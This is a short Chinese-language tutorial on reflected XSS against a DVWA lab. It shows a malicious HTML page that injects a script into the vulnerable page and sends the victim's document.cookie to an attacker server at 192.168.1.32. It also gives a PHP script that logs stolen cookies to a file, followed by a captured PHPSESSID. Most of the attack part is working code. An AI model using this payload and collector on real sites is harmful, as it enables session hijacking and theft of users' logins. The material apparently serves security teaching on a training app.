一、XSS跨站脚本如何理解
A站访客受到的XSS攻击的代码是来自于B站而不是A站原来就有的脚本代码所以称为跨站
二、XSS跨站脚本攻击的几个主体
1、攻击者
2、攻击服务器(IP:192.168.1.32)
3、受害者
4、受害站点(IP:192.168.1.89)
三、攻击流程
1、用户正常访问受害站点,站点发送给浏览器cookie,浏览器保存cookie到本地
2、攻击者构造恶意链接或者恶意网站也并诱导用户点击或者访问,恶意网页index.html内容如下:
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<script>
document.location="http://192.168.1.89/DVWA/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location='192.168.1.32:8000/DomXSS.php?cookie='+document.cookie%3C/script%3E"
</script>
</body>
</html>
3、用户访问index.html,index.html中的恶意代码执行将cookie发送给恶意站点的DomXss.php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
攻击服务器将cookie保存到cookie.txt
security=low; PHPSESSID=93405j0g3666fl24pn6s32criu